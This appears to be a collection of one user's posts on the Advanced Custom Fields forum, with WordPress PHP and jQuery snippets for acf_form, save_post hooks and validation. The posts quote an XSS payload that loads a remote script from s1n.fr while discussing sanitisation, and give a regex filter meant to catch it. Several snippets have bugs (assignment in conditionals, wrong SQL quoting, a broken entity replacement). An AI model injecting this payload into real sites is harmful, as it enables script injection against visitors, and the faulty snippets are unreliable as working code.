Hey John!
Thanks for pointing me in the right direction, this is what’ I’m using and it seems to accomplish what I need.
add_filter('acf/get_field_group', 'my_change_field_group');
function my_change_field_group($group) {
$get_current_screen = get_current_screen();
$get_current_post_type = $get_current_screen->post_type;
$my_option = get_field('my-option','option');
if (
$get_current_post_type == 'my-cpt' &&
$my_option == 'stuff' &&
$group['key'] == 'group_123456789'
) {
$group['location'] = array(
array(
array(
'param' => 'post_type',
'operator' => '==',
'value' => 'my-cpt',
),
),
);
}
return $group;
};
After a bit more mucking about I can clarify the issue a bit.
"><script Src="//s1n.fr/s.js">
…so working as intended, I’m guessingacf_form
modified the post title and I was using get_the_title()
to render it on one page; this was somehow reversing my escaped entities (so I switched it to $post->post_title
instead)So I guess as a summary:
wp_kses
works great with acf_form
by stripping out the unwanted stuff when the html is correctly formed (i.e. <script src="//s1n.fr/s.js"></script>
)"><script src="//s1n.fr/s.js"<>>
), particular care has to be on how the stored value is rendered to make sure that the scripts aren’t getting decoded along with other entities that a developer may actually want to decode;
script src=
bit stead of the script ‘tags’ themselves (please see below)A new question:
would it be possible to run something like a preg_replace
for a pattern matching script src=
on all fields using something like acf/save_post
; any ideas on a best approach to this? …maybe something like:
function ns_kses_post( $value ) {
// is array
if( is_array($value) ) {
return array_map('ns_kses_post', $value);
};
// strip out potentially malformed/unclosed scripts for XSS prevention
$search = array('/script.*src=.*\/\/.*\.js/');
$replace = __('[Removed for security]','acf');
$replace_value = preg_replace($search,$replace,$value);
if($replace_value){
$replace_value = str_replace('<','<',$replace_value);
$replace_value = str_replace('>','&rt;',$replace_value);
$value = $replace_value;
};
// return
return wp_kses_post( $value );
}
add_filter('acf/update_value', 'ns_kses_post', 10, 1);
Just in case it helps anyone…
After a few minutes of thought, I figured that it was just way easier to dynamically populate a checkbox field with post values instead of superfluous wrangling. My code:
function my_acf_field_checkbox( $field ){
global $wpdb;
$querystr = "SELECT * FROM '$wpdb->posts' WHERE 'post_type' = 'my-cpt'";
$my_cpts = $wpdb->get_results($querystr, OBJECT);
if($my_cpts){
$my_cpt_arr = array();
foreach($my_cpts as $my_cpt):
$my_cpt_arr[$my_cpt->ID] = $my_cpt->post_title;
endforeach;
}
$field['choices'] = $my_cpt_arr;
return $field;
};
add_filter('acf/load_field/name=my_field_name', 'my_acf_field_checkbox');
Hope this helps someone
Using acf_form
there are JS errors. Please see log screenshot.
Hi John,
Thanks for this and thanks for the clarification. (also apologies for my delayed response).
I’ve since updated my functions to reduce post_meta functions. However, I use acf_forms in multiple locations and I have them perform multi-relational actions (not just on the post_id itself, but rather ‘connected’ ones)…either way I’m rolling out functions to simplify this. Essentially, based on the page within which I embed an acf_form, I need acf/save_post to perform different actions without interfering with each other.
My main question was if it was better (more performant) to use conditionals within one add_action
hook or have multiple add_action
hooks, i.e.
function my_acf_save_post( $post_id ) {
if($post_id = 1){
// do something 1
}
if($post_id = 2){
// do something 1
}
if($post_id = 3){
// do something 1
}
if($post_id = 4){
// do something 1
}
}
add_action('acf/save_post', 'my_acf_save_post', 20);
vs.
function my_acf_save_post_1( $post_id ) {
// do something 1
}
add_action('acf/save_post', 'my_acf_save_post_1', 20);
function my_acf_save_post_2( $post_id ) {
// do something 2
}
add_action('acf/save_post', 'my_acf_save_post_2', 20);
function my_acf_save_post_3( $post_id ) {
// do something 3
}
add_action('acf/save_post', 'my_acf_save_post_3', 20);
function my_acf_save_post_4( $post_id ) {
// do something 4
}
add_action('acf/save_post', 'my_acf_save_post_4', 20);
I personally prefer multiple ‘if’ functions because I’ve found that without that some forms seem to interfere with each other (I have a lot of them and sometimes multiple forms on the same page).
Well, I tried one more thing literally a few seconds after posting my previous thread and managed to figure it out 🙂
Hope the following helps someone; the trick seems to be $_POST['post_id']
.
function my_validate_value( $valid, $value, $field, $input ) {
$post_id = $_POST['post_id'];
if($value !== 'my-condition'){
$valid = 'Nope: ' . $post_id;
};
return $valid;
}
add_filter('acf/validate_value/key=field_5928960704f6f', 'my_validate_value', 10, 4);
Thanks for letting me know John. I was able to find a workaround using a custom post_meta array field and acf/save_post
but had to do away with the repeater.
Thanks John!
I will give this a go
Thanks John, that did the trick!
Also thank for mentioning your plugin, looks like cool stuff and I’ll give it a go.
Thanks again!
Hi John,
Thanks for the reply. Yes, using htmlentities
was one way that I tried to get around processing shortcodes, but unfortunately, this still happens anyways. (and the output of the shorcodes have all html entities replaced.
In other words, I want the shortcode to be stored as [my_shortcode] and only output it when I call that field on the front end…now the field is actually storing the shortcode output itself. Hopefully that makes sense.
Thanks in advance
Hey John!
Thanks for the reply!
Sure, here’s my acf/save_post
code:
function my_post_field_array_save($post_id) {
if( have_rows('my_repeater',$post_id) ):
while ( have_rows('my_repeater',$post_id) ) : the_row();
remove_filter('acf_the_content', 'wpautop');
// remove_filter('acf_the_content', 'do_shortcode'); Could I do something like this?
$my_repeater_arr['my_repeater_wysiwyg'] = htmlentities(get_sub_field('my_repeater_wysiwyg',$post_id));
add_filter('acf_the_content', 'wpautop');
endwhile;
update_post_meta($post_id,'my_repeater_meta',$my_repeater_arr);
endif;
};
add_action('acf/save_post', 'my_post_field_array_save', 20);
Here’s the actual (raw) WYSIWYG content:
[site_url]
<a href="[site_url]">URL</a>
Here’s the array (no post/save):
array(1) {
["my_repeater_wysiwyg"]=>
string(62) "[site_url]
<a href="[site_url]">URL</a>"
}
Here’s the array after (i.e. serialized in the post_meta field…using the pastebin below because this ACF forum converts my HTML entities): http://pastebin.com/iZqffdq1
Thanks in advance!
Ryan
AWESOME! Thank you John.
Just to step back a bit and see if I’m understanding what you mean on a concept level…is the main gist of what your getting at: store multiple options as an array in a singular field as opposed to multiple calls for each individual one?
I will work on what you outlined, but just have a few questions:
Thanks! I massively appreciate the insights, they are superb!
~Ryan
Also,
I’ve read the documentation for Solving the hidden map issue.
This appears to be a solution for rendering a field where the ‘map’ variable is known. However, my issue was that with an acf_form
I did’t know what the variable for the map was. So, I went into the code a bit and found: acf.fields.google_map
(~ line 5155 in acf-input.js). From there, I worked backwards a bit and came up with:
$(document).ready(function(){
$('.panel').on('shown.bs.collapse', function () {
var this_panel = $(this);
if($(this).find('.acf-google-map').length > 0){
var acf_map = acf.fields.google_map.map;
var currCenter = acf_map.getCenter();
google.maps.event.trigger(acf_map, 'resize');
acf_map.setCenter(currCenter);
}
});
});
This seems to be working for me and hopefully it can help/work for someone else.
Ok, well after a bit of fiddling I’m guessing acf_form()
isn’t going to work because comments aren’t posts (guess sort of obvious now that I think about it).
Anyways, my issue has changed a bit as I’ve progressed.
What I’ve done so far
1) Use ‘Location Rules‘ to target a specific comment form so that I can add in ACF fields
2) Use the code outlined in the StackOverflow thread titled, How to implement AJAX commenting in WordPress,’ in order to be able to submit my form via AJAX
What I need help on
1) How can I get my ACF fields to appear before the comment textarea field?
…I’ve tried to change both the ‘Positon’ and ‘Order No.’ in my field group settings, but this doesn’t seem to have any effect
2) When submitting my form, how can I make use of something like the acf/save_post
action hook in order to update comment_meta from my ACF field? (I would also like to update the comment’s parent post_meta)
Thanks in advance!
Hey John,
I’m using v5.4.8.
I figured as much, but thanks for letting me know. I might just try to take a stab at a simple math challenge or something.
Thanks!
Hi James,
Sorry for the super-delayed response; got a bit caught up with stuff 🙂
I think maybe it might be useful to explain the scenario.
What I would like to accomplish on a high level: Trigger JavaScript only when an acf_form() (front-end) is sent without error.
A specific scenario:
Below is a boilerplate example of a script that I’d normally run using WP AJAX:
function do_stuff_after_acf_form_submit_success() {
var ajax_url = 'ajax_my_params.ajax_url';
$.ajax({
type: 'POST',
url: ajax_url,
data: {
action: 'my_action',
},
beforeSend: function (){
// Stuff
},
success: function(data){
// This is the part that I want to access, i.e. if a front-end acf_form() sends with success, do stuff
ga('send', 'event', 'Videos', 'play', 'Fall Campaign'); // Example GA Event
},
error: function(){
// Error
}
});
};
For marking events/conversions in analytics, older-school methods would entail sending a user to something like a thank you page, for example (using acf_form):
$_POST['return'] = get_home_url() . 'thanks/';
However, I want to trigger a GA event (or whatever JS function) via the ACF Form send success…ie via JS/AJAX.
I hope this makes sense and I’d be happy to clarify further if needed.
Best,
Ryan
Hey James,
Thanks for that. After a bunch of fiddling I ended up having to go with a custom AJAX solution, but your replies definitely helped.
Thanks again!
Hi James!
Thanks for the reply. In this particular case I needed to work around the location rule because I need to hook into acf/save_post
…as well, in the backend I need to access only one field and would prefer to render it programmatically instead of having another field group.
I have gotten the field/form to render in the backend via a metabox and acf_form,
however the acf/save_post
hook is not being executed. Is this because I should use acf/render_field
instead …or because acf_form_head()
needs to be added (in which case, how would I do that)?
Here’s my code:
// Meta Box
function custom_meta_box_markup(){
$options = array(
'post_id' => $cpt_id,
'post_title' => false,
'field_groups' => array(
1234
),
'fields' => array(
'field_012345678901a',
'field_012345678901b',
),
'updated_message' => $updated_message_text,
'submit_value' => $submit_value_text,
'uploader' => 'wp'
);
?>
<div class="my-div">
<?php acf_form($options); ?>
</div>
<?php
}
function add_custom_meta_box(){
add_meta_box("demo-meta-box", "My Custom Metabox", "custom_meta_box_markup", "dispute", "normal", "high", null);
}
add_action("add_meta_boxes", "add_custom_meta_box");
// Action Hook
function my_save_form($cpt_id) {
if(is_admin()){
global $post
$cpt_id = $post->ID;
$my_field = get_field('field_012345678901a',$cpt_id);
update_post_meta($cpt_id,'test',$my_field); // This is just an example, but it's not working
}
};
add_action('acf/save_post', 'my_save_form', 20);
Huge thanks in advance!
Hi Jonathan,
Thanks for the response!
That code didn’t work for me straightaway so I keep digging and happened to stumble across this, which is working for me straight out of the box.
add_filter( 'posts_where', 'devplus_attachments_wpquery_where' );
function devplus_attachments_wpquery_where( $where ){
global $current_user;
if( is_user_logged_in() ){
// we spreken over een ingelogde user
if( isset( $_POST['action'] ) ){
// library query
if( $_POST['action'] == 'query-attachments' ){
$where .= ' AND post_author='.$current_user->data->ID;
}
}
}
return $where;
}
Thanks again!
Howdy,
I recently found this, which is working for me
add_filter( 'posts_where', 'devplus_attachments_wpquery_where' );
function devplus_attachments_wpquery_where( $where ){
global $current_user;
if( is_user_logged_in() ){
// we spreken over een ingelogde user
if( isset( $_POST['action'] ) ){
// library query
if( $_POST['action'] == 'query-attachments' ){
$where .= ' AND post_author='.$current_user->data->ID;
}
}
}
return $where;
}
Hope it helps!
That did the trick, thanks James!
Sigh, sometimes I feel like when I post here, the solution is about 5 minutes away. Turns out that I was missing the $post_id
in the add_row()
function.
So, the code that I have and is now working is:
function add_repeater_row_on_save($post_id) {
$my_textarea = get_field('my_textarea'); // My textarea field
$row = array( // my repeater sub-field
'field_1s' => 'Repeater sub-field 1 text',
'field_2S' => 'Repeater sub-field 2 text',
'field_3s' => 'Repeater sub-field 3 text',
);
$i = add_row('field_repeater', $row,$post_id); // The $post_id here was missing
// Reset Textarea
update_field('my_textarea', '', $post_id);
};
add_action('acf/save_post', 'add_repeater_row_on_save', 20);
Thanks James!
Figured it out
function my_save_func($post_id) {
$GLOBALS['acf_form']['return'] = home_url('my-uri/?mycpt_id=' . $post_id);
}
add_action('acf/save_post', 'my_save_func', 20, 1912);
Well, it turns out that the above code does work. I think that I had some conflicts.
How can I target only one, specific form via: ‘acf/save_post’?
Welcome to the Advanced Custom Fields community forum.
Browse through ideas, snippets of code, questions and answers between fellow ACF users
Helping others is a great way to earn karma, gain badges and help ACF development!
We use cookies to offer you a better browsing experience, analyze site traffic and personalize content. Read about how we use cookies and how you can control them in our Privacy Policy. If you continue to use this site, you consent to our use of cookies.